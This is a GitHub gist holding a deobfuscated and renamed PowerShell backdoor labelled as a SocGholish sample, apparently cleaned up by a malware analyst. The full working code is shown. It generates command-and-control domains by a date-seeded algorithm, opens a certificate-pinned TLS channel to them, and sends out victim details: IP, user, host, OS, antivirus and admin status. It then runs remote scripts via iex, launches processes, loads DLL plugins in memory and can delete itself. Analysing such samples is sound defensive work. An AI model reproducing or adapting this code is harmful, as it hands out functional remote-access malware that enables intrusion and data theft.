-
-
Save rerednawyerg/9632d828b05ee74eaa2928b37fe5d921 to your computer and use it in GitHub Desktop.
SocGholish Cleaned Script
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| $global:wyjknxdf=$executioncontext; | |
| add-type -assemblyname 'System.IO.Compression'; | |
| Add-Type -AssemblyName 'System.Drawing'; | |
| $kmbntvgeysow= ('using System; | |
| using System.Threading; | |
| public class MyNoValidate { | |
| public static byte[] raw_certificate = Convert.FromBase64String("MIIE9DCCAtygAwIBAgIQAM6J5+4kH6nHBn6+JzQBsTANBgkqhkiG9w0BAQ0FADAbMRkwFwYDVQQDDBBtYXkzXzIzX3ZlcmlzaWduMCAXDTIzMDUwMTIzMzA0NloYDzk5OTkxMjMxMjM1OTU5WjAbMRkwFwYDVQQDDBBtYXkzXzIzX3ZlcmlzaWduMIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEAx6WRQFblXNBpumAl0Z4lTdKbwRAtAHF3h9vAKDATpX38hVHHWgd29byNxEelgW//FDda30oXQ+mdTm1XOmYar9/FeA/+IWi/H07J5bjzNWBr5dZ3cgMauxTCEADt5ImE4DMoc2Q4JVkVE6eOtjK46EShNFI4kUaqtGGeF4Iu1cvAKJD9t0epC7v8xkh3d7Thh5EncYUnf7vsPcmiyGbEIa2dldRSOHxzPbh0tif56KoyClWivahyVIQH7Cy4z5ajZeGn3N4z+QN9KhQuv/MzrBOFop7qhsEvj+B/r/qVnUNBOfLPpNtUcfaKwW0dFQnqg+Ti74ruaTh0tomMx7hetehzdmXSjrHLNQQqhiOEYhR4RSdOx+/W+XPvS0pwVmH13JfI0KiRQce4CewQXuTC3Jr0C7DpGxUGKbZFiHu38zvRAGldbH3Jk3QTxenj4IfObDidE5RxB9BY/2MnlbkSixQeGo1ThD7mAFFyRQhiTjqpDTWbsTKQ8WJfg5gA5iEKO2POhr2FDim2mwRbkr26hVxsNp1ZqcDDya/AR8iYoDios1Vh/xDiAaoiQs5RH+5kZmRvLH0hfyMmwilpy9HHdxa1C8QyWYlUS/O8oCimyyqPK3gLIVW3yLVgqpJ4I9CqozuzAbi13vl/nu0sHktM2R/KEu+1feVUUkMDnw5t+qkCAwEAAaMyMDAwHQYDVR0OBBYEFPqxomvCUJVB0fgBnA1WSH9HXXQWMA8GA1UdEwEB/wQFMAMBAf8wDQYJKoZIhvcNAQENBQADggIBACqXcC5RkT/HZPWX69dh4ia7ySkRdOV4+3xxu7fVVcImbPc7OscE7G1PWtgL1d3E02q7WcUi83TLkerszTOgvO749a9G3OHpDsUenltsFEPdpKf56DU7F2hBRLemwfR9kbpj4q7Rn+z3U8hoJhqfXJ6SiRzVh73xa39c/4RgHdgm2TcnOgpFpLWns/7L6TH7ffylvg7fxPN0DNfZ0FnJh+KNNNuc8sqDYxxUncc6C4ElFgX+M5XyAY6L2NQVfbWQSHXNNBY2u4lljqPHUsEmjBL71aZc5YrEZyoUNKicdPXssldIWen8MJ0WE+mN7Y8raaxm+EALN3cZxD3HoeiN/srwBpEkB0/sRMJgmm8cBmkGZAViEj46Oe6qV8ZtaxyMqccjsMajuXCA92LDQWnksKfKQboTAVn2BqJqVexqtQDB3f40hy/M6RyBumQHmC1F+aG6HANe6r5Wh9Ro8VhAnjToI6ozURWM/UuclL//Je9tfOQGQNkbGWhvyJObBQR45/7uNqUfBMRfP4q/K/wG1BMcCN2gIJOqsPkKqBDtp9LZGOK06njFw8gF/evNAJfrR6rHBGoeNiJhapWBooJXLXf0ZJ5Lj6qAxczOtr4wsBY9Gqj0amzlqHvhX1XsL+bHedO8tly8UhJL/OY0+Le9b2XxLEi32I2e1T8CNXFSyjLN"); | |
| private static System.Boolean bypassvalidation( | |
| System.Object sender, | |
| System.Security.Cryptography.X509Certificates.X509Certificate certificate, | |
| System.Security.Cryptography.X509Certificates.X509Chain chain, | |
| System.Net.Security.SslPolicyErrors sslPolicyErrors | |
| ) { | |
| var cert = new System.Security.Cryptography.X509Certificates.X509Certificate2(raw_certificate); | |
| return cert.Equals(certificate); | |
| } | |
| public static System.Net.Security.RemoteCertificateValidationCallback getcallback() { | |
| System.Net.Security.RemoteCertificateValidationCallback cb; | |
| cb = new System.Net.Security.RemoteCertificateValidationCallback( | |
| bypassvalidation | |
| ); | |
| return cb; | |
| } | |
| } | |
| public sealed class CallbackEventBridge | |
| { | |
| public event AsyncCallback CallbackComplete = delegate { }; | |
| public event TimerCallback TimerCallbackComplete = delegate { }; | |
| private CallbackEventBridge() { } | |
| private void CallbackInternal(IAsyncResult result) | |
| { | |
| CallbackComplete(result); | |
| } | |
| private void TimerCallbackInternal(object state) | |
| { | |
| TimerCallbackComplete(state); | |
| } | |
| public AsyncCallback Callback | |
| { | |
| get { return new AsyncCallback(CallbackInternal); } | |
| } | |
| public TimerCallback TimerCallback | |
| { | |
| get { return new TimerCallback(TimerCallbackInternal); } | |
| } | |
| public static CallbackEventBridge Create() | |
| { | |
| return new CallbackEventBridge(); | |
| } | |
| }'); | |
| Add-Type $kmbntvgeysow; | |
| invoke-expression @' | |
| $global:wyjknxdf=$executioncontext; | |
| class comms_class { | |
| static $tcp_socket; | |
| static $ssl_stream; | |
| static $timer; | |
| static $global_boolean; | |
| static $jbacyf = [System.Object]::new; | |
| static $ulkcaqgmdox; | |
| static $global_saved_parameter=""; | |
| static $global_array_size = 4; | |
| static $global_byte_array = [byte[]]::(('new'))($global_array_size); | |
| static $global_offset = 0; | |
| static $c2_counter = 0; | |
| static $global_boolean_2 = $false; | |
| static $counter = 0; | |
| static [void] connect_to_c2() { | |
| try { | |
| $ptr_counter=[comms_class]::counter; | |
| if([comms_class]::counter -le [C2s_class]::c2_array.Length - 1) { | |
| [comms_class]::counter = [comms_class]::counter + (1); #increment counter | |
| } | |
| else{ | |
| [comms_class]::counter = (0); | |
| } | |
| $cert = [MyNoValidate]::(('getcallback'))(); #set up certificate | |
| [comms_class]::tcp_socket = [System.Net.Sockets.Socket]::(('new'))([Enum]::(('Parse'))('System.Net.Sockets.AddressFamily', ('InterNetwork')), [Enum]::(('Parse'))(('System.Net.Sockets.SocketType'), ('Stream')), [Enum]::(('Parse'))(('System.Net.Sockets.ProtocolType'), ('Tcp'))); | |
| { | |
| ReceiveBufferSize = (50) * (1024), | |
| SendBufferSize = (50) * (1024), | |
| LingerState = new LingerOption($true, 10), | |
| DualMode = $true | |
| }; | |
| [comms_class]::tcp_socket.(('SetSocketOption'))([Enum]::(('Parse'))(('System.Net.Sockets.SocketOptionLevel'), ('Socket')), [Enum]::(('Parse'))(('System.Net.Sockets.SocketOptionName'), ('ReuseAddress')), $true); | |
| $c2_server = [C2s_class]::c2_array[$ptr_counter]; | |
| $port = [System.Convert]::(('ToInt32'))(([C2s_class]::one_to_five -split (','))[(Get-Random -Minimum 0 -Maximum ([C2s_class]::one_to_five -split (',')).Count)]); | |
| $ips_for_c2 = [System.Net.Dns]::(('GetHostAddresses'))($c2_server); | |
| foreach ($ip in $ips_for_c2) { | |
| try { | |
| [comms_class]::tcp_socket.(('Connect'))($ip, $port); | |
| if ([comms_class]::tcp_socket.Connected) { | |
| break | |
| } | |
| } | |
| catch {} | |
| } | |
| if ([comms_class]::tcp_socket.Connected) { | |
| [comms_class]::global_boolean = $true; | |
| [comms_class]::ssl_stream = [System.Net.Security.SslStream]::(('new'))([System.Net.Sockets.NetworkStream]::(('new'))([comms_class]::tcp_socket, $true), $false,$cert); | |
| [comms_class]::ssl_stream.(('AuthenticateAsClient'))([comms_class]::tcp_socket.RemoteEndPoint.(('ToString'))().(('Split'))((':'))[0], $null, [System.Security.Authentication.SslProtocols]::Tls, $false); | |
| [comms_class]::global_array_size = 4; | |
| [comms_class]::global_byte_array = [byte[]]::(('new'))([comms_class]::global_array_size); | |
| [comms_class]::global_offset = 0; | |
| [comms_class]::(('write_to_ssl_stream'))(([victim_data_class]::(('get_victim_info_and_gzip'))())); #gather info about victim, gzip it, and write it to the SSLStream | |
| [comms_class]::c2_counter = 0; | |
| [comms_class]::global_boolean_2= $false; | |
| [comms_class]::timer = [System.Threading.Timer]::(('new'))([System.Threading.TimerCallback]( | |
| timercallback_delegate { | |
| [comms_class]::(('write_ping_hashtable'))(); | |
| }), | |
| $null, (Get-Random -Minimum 10000 -Maximum 15000), (Get-Random -Minimum 10000 -Maximum 15000)); | |
| [comms_class]::ssl_stream.(('BeginRead'))( | |
| [comms_class]::global_byte_array, #byte array which receives bytes read from the stream | |
| [comms_class]::global_offset, | |
| [comms_class]::global_array_size, | |
| ( callback_func { param($jamxitfugly) [comms_class]::(('read_c2_response'))($jamxitfugly); }), #method to invoke when read operation is complete | |
| $null | |
| ); | |
| } | |
| else { | |
| [comms_class]::global_boolean = $false; | |
| return | |
| } | |
| } | |
| catch { | |
| [comms_class]::global_boolean = $false; | |
| return | |
| } | |
| } | |
| static [void] disposal_func() { | |
| try { | |
| if ([comms_class]::ulkcaqgmdox -ne $null) { | |
| [comms_class]::ulkcaqgmdox.(('Dispose'))(); | |
| } | |
| if ([comms_class]::timer -ne $null) { | |
| [comms_class]::timer.(('Dispose'))(); | |
| } | |
| if ([comms_class]::ssl_stream -ne $null) { | |
| [comms_class]::ssl_stream.(('Dispose'))(); | |
| } | |
| if ([comms_class]::tcp_socket -ne $null) { | |
| [comms_class]::tcp_socket.(('Dispose'))(); | |
| } | |
| } | |
| catch { } | |
| [comms_class]::global_boolean = $false; | |
| } | |
| static [void]read_c2_response($jamxitfugly) { | |
| try { | |
| if (-not [comms_class]::tcp_socket.Connected -or -not [comms_class]::global_boolean) { | |
| [comms_class]::global_boolean = $false; | |
| return | |
| } | |
| $bytes_read = [comms_class]::ssl_stream.(('EndRead'))($jamxitfugly); | |
| if ($bytes_read -gt 0) { | |
| [comms_class]::global_offset += $bytes_read; | |
| [comms_class]::global_array_size -= $bytes_read; | |
| if ([comms_class]::global_array_size -eq 0) { | |
| [comms_class]::global_array_size = [BitConverter]::(('ToInt32'))([comms_class]::global_byte_array, 0); | |
| if ([comms_class]::global_array_size -gt 0) { | |
| [comms_class]::global_offset = 0; | |
| [comms_class]::global_byte_array = [byte[]]::(('new'))([comms_class]::global_array_size); | |
| while ([comms_class]::global_array_size -gt 0) { | |
| $bytes_read_2 = [comms_class]::ssl_stream.(('Read'))([comms_class]::global_byte_array, [comms_class]::global_offset, [comms_class]::global_array_size); | |
| if ($bytes_read_2 -le 0) { | |
| [comms_class]::global_boolean = $false; | |
| return | |
| } | |
| [comms_class]::global_offset += $bytes_read_2; | |
| [comms_class]::global_array_size -= $bytes_read_2; | |
| if ([comms_class]::global_array_size -lt 0) { | |
| [comms_class]::global_boolean = $false; | |
| return | |
| } | |
| } | |
| [comms_class]::(('perform_c2_command'))([comms_class]::global_byte_array); | |
| [comms_class]::global_offset = 0; | |
| [comms_class]::global_array_size = 4; | |
| [comms_class]::global_byte_array = [byte[]]::(('new'))([comms_class]::global_array_size); | |
| } | |
| else { | |
| [comms_class]::global_array_size = 4; | |
| [comms_class]::global_byte_array = [byte[]]::(('new'))([comms_class]::global_array_size); | |
| [comms_class]::global_offset = 0; | |
| } | |
| } | |
| elseif ([comms_class]::global_array_size -lt 0) { | |
| [comms_class]::global_boolean = $false; | |
| return | |
| } | |
| [comms_class]::ssl_stream.(('BeginRead'))( | |
| [comms_class]::global_byte_array, | |
| [comms_class]::global_offset, | |
| [comms_class]::global_array_size, | |
| (callback_func { param($jamxitfugly) $execution_time=Measure-Command { | |
| [comms_class]::(('read_c2_response'))($jamxitfugly); | |
| }; | |
| Write-Host $execution_time; }), | |
| $null) | |
| } | |
| else { | |
| [comms_class]::global_boolean = $false; | |
| return | |
| } | |
| } | |
| catch { | |
| [comms_class]::global_boolean = $false; | |
| return | |
| } | |
| } | |
| static [void]write_to_ssl_stream($arg1) { | |
| try { | |
| if (-not [comms_class]::global_boolean) { | |
| return | |
| } | |
| $arg1_bytes = [BitConverter]::(('GetBytes'))($arg1.Length); | |
| [comms_class]::tcp_socket.(('Poll'))(-1, [System.Net.Sockets.SelectMode]::SelectWrite); #uses Socket.Poll to check the status of the socket | |
| [comms_class]::ssl_stream.(('Write'))($arg1_bytes, 0, $arg1_bytes.Length); #Write bytes to stream | |
| [comms_class]::ssl_stream.(('Write'))($arg1, 0, $arg1.Length); #write original arg to stream | |
| [comms_class]::ssl_stream.(('Flush'))(); | |
| } | |
| catch { | |
| [comms_class]::global_boolean = $false; | |
| return | |
| } | |
| } | |
| static [void]write_ping_hashtable() { | |
| if (-not [comms_class]::global_boolean) { | |
| return | |
| } | |
| $hashtable = @{ | |
| ('Packet')= 'Ping'; | |
| ('Message')= 'Ping'; | |
| }; | |
| [comms_class]::(('write_to_ssl_stream'))([comms_class]::(('gzip_data'))($hashtable)); | |
| [comms_class]::global_boolean_2=$true; | |
| } | |
| static [void] wdnkbajgcmqx() { | |
| try { | |
| if ([comms_class]::global_boolean_2 -and [comms_class]::global_boolean) { | |
| [comms_class]::c2_counter++; | |
| } | |
| } catch { } | |
| } | |
| static [void] perform_c2_command($arg1) { | |
| try { | |
| $mem_stream = New-Object (('System.IO.MemoryStream'))(,$arg1); | |
| $decompressed_resp = New-Object (('System.IO.Compression.GzipStream'))($mem_stream, ([System.IO.Compression.CompressionMode]::Decompress)); | |
| $stream_reader = New-Object (('System.IO.StreamReader'))($decompressed_resp); | |
| $data = $stream_reader.(('ReadToEnd'))(); | |
| $c2_instruction = ConvertFrom-Json $data; | |
| switch ($c2_instruction.(('Packet'))) { | |
| ('wdnkbajgcmqx') { | |
| [comms_class]::global_boolean_2 = $false; | |
| $hashtable = @{ | |
| ('Packet')= 'wdnkbajgcmqx'; | |
| ('Message')=[comms_class]::c2_counter; | |
| }; | |
| [comms_class]::(('write_to_ssl_stream'))([comms_class]::(('gzip_data'))($hashtable)); | |
| [comms_class]::c2_counter = 0; | |
| break; | |
| } | |
| ('plugin') { | |
| try { | |
| $hashtable = @{ | |
| ('Packet')= 'sendPlugin'; | |
| ('Hashes')=$c2_instruction.('Dll'); | |
| }; | |
| [comms_class]::global_saved_parameter =$c2_instruction.('Msgpack'); | |
| [comms_class]::(('write_to_ssl_stream'))([comms_class]::(('gzip_data'))($hashtable)); | |
| } | |
| catch { | |
| [comms_class]::(('send_error_msg'))($_.Exception.Message); | |
| } | |
| break | |
| } | |
| ('iex') { | |
| try { | |
| [System.Text.Encoding]::ASCII.(('GetString'))([System.Convert]::(('FromBase64String'))($c2_instruction.(('script')))) | iex; | |
| } | |
| catch { | |
| [comms_class]::(('send_error_msg'))($_.Exception.Message); | |
| } | |
| break | |
| } | |
| ('cmd'){ | |
| try { | |
| start-process $c2_instruction.(('cmd')) -args $c2_instruction(('args')); | |
| } | |
| catch { | |
| [comms_class]::(('send_error_msg'))($_.Exception.Message); | |
| } | |
| break | |
| } | |
| ('selfdelete') { | |
| try { | |
| remove-item '$PWD\*' -force -recurse exit | |
| } | |
| catch { | |
| [comms_class]::(('send_error_msg'))($_.Exception.Message); | |
| } | |
| break | |
| } | |
| ('savePlugin') { | |
| [comms_class]::(('run_dll'))($c2_instruction); | |
| break; | |
| } | |
| } | |
| } | |
| catch { | |
| [comms_class]::(('send_error_msg'))($_.Exception.Message); | |
| } | |
| } | |
| static [byte[]] gzip_data( $data){ | |
| $json_data = ConvertTo-Json $data; | |
| $mem_stream = New-Object (('System.IO.MemoryStream')); | |
| $gzip_stream = New-Object (('System.IO.Compression.GzipStream'))($mem_stream, [System.IO.Compression.CompressionMode]::Compress); #compress data is written to $mem_stream | |
| $stream_writer = New-Object (('System.IO.StreamWriter'))($gzip_stream); | |
| $stream_writer.(('Write'))($json_data); | |
| $stream_writer.(('Close'))(); | |
| return $mem_stream.('ToArray')(); #returns data as a byte array | |
| } | |
| static [void] run_dll($c2_command) { | |
| $assembly = [System.Reflection.Assembly]::(('Load'))([byte[]][System.Convert]::(('FromBase64String'))($c2_command.('Dll'))); | |
| $plugin = $assembly.(('GetType'))('Plugin.Plugin'); | |
| $plugin_instance = [Activator]::(('CreateInstance'))($plugin); | |
| $plugin_instance.(('Run'))( | |
| [comms_class]::tcp_socket, | |
| [C2s_class]::ptr_raw_certificate, | |
| [C2s_class]::machine_name, | |
| [System.Convert]::(('FromBase64String'))([comms_class]::global_saved_parameter), | |
| [mutex_class]::mutex, $null, $null, $null ); | |
| [comms_class]::bytes_read; | |
| } | |
| static [void] sleep_func() { | |
| $hashtable = @{ | |
| ('Packet')= ('xeohtq'); | |
| }; | |
| [comms_class]::(('write_to_ssl_stream'))([comms_class]::(('gzip_data'))($hashtable)); | |
| Start-Sleep -Milliseconds 1000; | |
| } | |
| static [void] send_error_msg($arg1) { | |
| $hashtable = @{ | |
| ('Packet')= ('htimxulpednrv'); | |
| ('htimxulpednrv') = $arg1; | |
| }; | |
| [comms_class]::(('write_to_ssl_stream'))([comms_class]::(('gzip_data'))($hashtable)); | |
| } | |
| } | |
| class victim_data_class { | |
| static [Byte[]] get_victim_info_and_gzip() { | |
| $av_products=[data_gather_class]::(('get_av_products'))().(('ToString'))(); | |
| $victim_ip = Invoke-RestMethod ('https://api.ipify.org'); | |
| $victim_info_hashtable = @{ | |
| ('Packet')= ('ClientInfo'); | |
| ('ip') = $victim_ip; | |
| ('HWID')= [C2s_class]::machine_name; | |
| ('User')= [Environment]::UserName.(('ToString'))(); | |
| ('OS') = ('Windows')+[Environment]::OSVersion.Version + (' ') + [Environment]::Is64BitOperatingSystem.(('ToString'))().(('Replace'))('True', '64bit').(('Replace'))('False', '32bit'); | |
| ('Antivirus') = $av_products; | |
| ('Version') = ('0.11'); | |
| ('Admin') = [data_gather_class]::(('is_admin'))().(('ToString'))().(('ToLower'))().(('Replace'))('true', 'Admin').(('Replace'))('false', 'User'); | |
| ('Performance')= [data_gather_class]::(('check_if_domain'))(); | |
| ('wdnkbajgcmqx') = ""; | |
| ('Group') = ('523'); | |
| }; | |
| $gzip_victim_info= [comms_class]::(('gzip_data'))($victim_info_hashtable); | |
| return $gzip_victim_info | |
| } | |
| } | |
| class data_gather_class { | |
| static [bool] is_admin() { | |
| return [System.Security.Principal.WindowsPrincipal]::(('new'))([System.Security.Principal.WindowsIdentity]::(('GetCurrent'))()).(('IsInRole'))([System.Security.Principal.WindowsBuiltInRole]::Administrator) | |
| } | |
| static [string] check_if_domain(){ | |
| try{ | |
| $domain_str = Get-WmiObject ('Win32_ComputerSystem') | Select-Object ('Domain'); | |
| if ($domain_str::domain_str -ne $null -and $domain_str::domain_str -ne ('WORKGROUP') -and $domain_str::domain_str -ne ('$env:COMPUTERNAME')) { | |
| $domain_indicator= ('CORPORATE'); | |
| } | |
| else { | |
| $domain_indicator = ('USER'); | |
| } | |
| return $domain_indicator | |
| } | |
| catch{ | |
| return ('FAILED') | |
| } | |
| } | |
| static [void] close_streams() { | |
| try { | |
| [mutex_class]::(('remove_mutex'))(); | |
| if ([comms_class]::ssl_stream -ne $null) { | |
| [comms_class]::ssl_stream.(('Close'))(); | |
| } | |
| if ([comms_class]::tcp_socket -ne $null) { | |
| [comms_class]::tcp_socket.(('Close'))(); | |
| } | |
| } catch { } | |
| } | |
| static [string] get_av_products() { | |
| try { | |
| $return_str = ""; | |
| $av_products = [System.Management.ManagementObjectSearcher]::(('new'))(('\\')+$env:COMPUTERNAME+('\root\SecurityCenter2'), ('Select * from AntivirusProduct')); | |
| foreach ($product in $av_products.(('Get'))()) { | |
| $return_str += $product[('displayName')].(('ToString'))() + (';'); | |
| } | |
| $return_str = [data_gather_class]::(('remove_last_two_chars'))($return_str, 2); | |
| return $return_str | |
| } | |
| catch { | |
| return ('Unknown') | |
| } | |
| } | |
| static [string] remove_last_two_chars( $av_string, $size = 2) { | |
| if ($av_string.Length -gt $size) { | |
| $av_string = $av_string.(('Remove'))($av_string.Length - $size); | |
| } | |
| return $av_string | |
| } | |
| static [System.Drawing.Imaging.ImageCodecInfo] qymbcohalvr( $dulsmv) { | |
| $vdwjbqy = [System.Drawing.Imaging.ImageCodecInfo]::(('GetImageDecoders'))(); | |
| foreach ($xhoyrpgmvacn in $vdwjbqy) { | |
| if ($xhoyrpgmvacn.FormatID -eq $dulsmv.Guid) { | |
| return $xhoyrpgmvacn | |
| } | |
| } | |
| return $null | |
| } | |
| } | |
| class mutex_class { | |
| static $mutex; | |
| static [bool] check_mutex() { | |
| $return_val = $false; | |
| [mutex_class]::mutex = New-Object ('System.Threading.Mutex')($false, ('rusgugh'), [ref] $return_val); | |
| return $return_val | |
| } | |
| [void] remove_mutex() { | |
| if ($this::mutex -ne $null) { | |
| $this::mutex.(('Close'))(); | |
| $this::mutex = $null; | |
| } | |
| } | |
| } | |
| class C2s_class { | |
| static $one_to_five = ('14235'); | |
| static $c2_array = @(); | |
| static $machine_name = [Environment]::MachineName.(('ToUpper'))(); | |
| static $ptr_raw_certificate=[MyNoValidate]::raw_certificate; | |
| static [void] create_c2s(){ | |
| $temp_arr=@(); | |
| $date = Get-Date; | |
| $day_of_year = [int]($date.(('DayOfYear')) / 7) + 1; | |
| $year = $date.(('Year')); | |
| $seed_value = $day_of_year + $year * (429374); | |
| $random_obj = New-Object (('System.Random'))($seed_value); | |
| $fifteen = 15; | |
| $alphanumeric = ('abcdefghijklmnopqrstuvwxyz0123456789'); | |
| for ($i = 0; $i -lt 10; $i++) { | |
| $temp_str = ""; | |
| for ($j = 0; $j -lt $fifteen; $j++) { | |
| $rand_index=$random_obj.(('next'))(0, $alphanumeric.Length); | |
| $temp_str += $alphanumeric[$rand_index]; | |
| } | |
| $temp_arr +=$temp_str + ('.top'); | |
| $temp_arr +=$temp_str + ('.fun'); | |
| $temp_arr +=$temp_str + ('.com'); | |
| $temp_arr +=$temp_str + ('.cn'); | |
| } | |
| [C2s_class]::c2_array=$temp_arr | |
| } | |
| } | |
| $onethou_var = 1000; | |
| $fivethou_var = 5000; | |
| function main_func { | |
| sleep_func; | |
| [C2s_class]::(('create_c2s'))(); #creates the DGA C2 domains | |
| if (-not [mutex_class]::(('check_mutex'))()) { #check if mutex has been set successfully | |
| return | |
| } | |
| while ($true) { | |
| try { | |
| attempt_c2_comms | |
| } | |
| catch { } | |
| [System.Threading.Thread]::(('Sleep'))($fivethou_var); | |
| } | |
| } | |
| function sleep_func { | |
| $two_var = 2; | |
| if ($two_var -le 0) { | |
| return | |
| } | |
| [System.Threading.Thread]::(('Sleep'))($two_var * $onethou_var); | |
| } | |
| function attempt_c2_comms { | |
| if (-not [comms_class]::global_boolean) { | |
| [comms_class]::(('disposal_func'))(); | |
| [comms_class]::(('connect_to_c2'))(); | |
| } | |
| } | |
| function callback_func { | |
| param( [parameter(Mandatory=$true)] [ValidateNotNullOrEmpty()] $passed_arg ) | |
| $bridge = [callbackeventbridge]::(('create'))(); | |
| $hashtable =@{ | |
| ('EventName') = ('callbackcomplete'); | |
| ('Action') = $passed_arg; | |
| ('messagedata')= $args; | |
| }; | |
| Register-ObjectEvent $bridge @hashtable > $null; | |
| $bridge.(('callback')); | |
| } | |
| function timercallback_delegate { | |
| param( [parameter(Mandatory=$true)] [ValidateNotNullOrEmpty()] $passed_arg ) | |
| $bridge = [callbackeventbridge]::(('create'))(); | |
| $hashtable =@{ | |
| ('EventName') = ('TimerCallbackComplete'); | |
| ('Action') = $passed_arg; | |
| ('messagedata')= $args; | |
| }; | |
| Register-ObjectEvent $bridge @hashtable > $null; | |
| $bridge.('TimerCallback'); | |
| } | |
| #call first func | |
| main_func; | |
| '@ |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment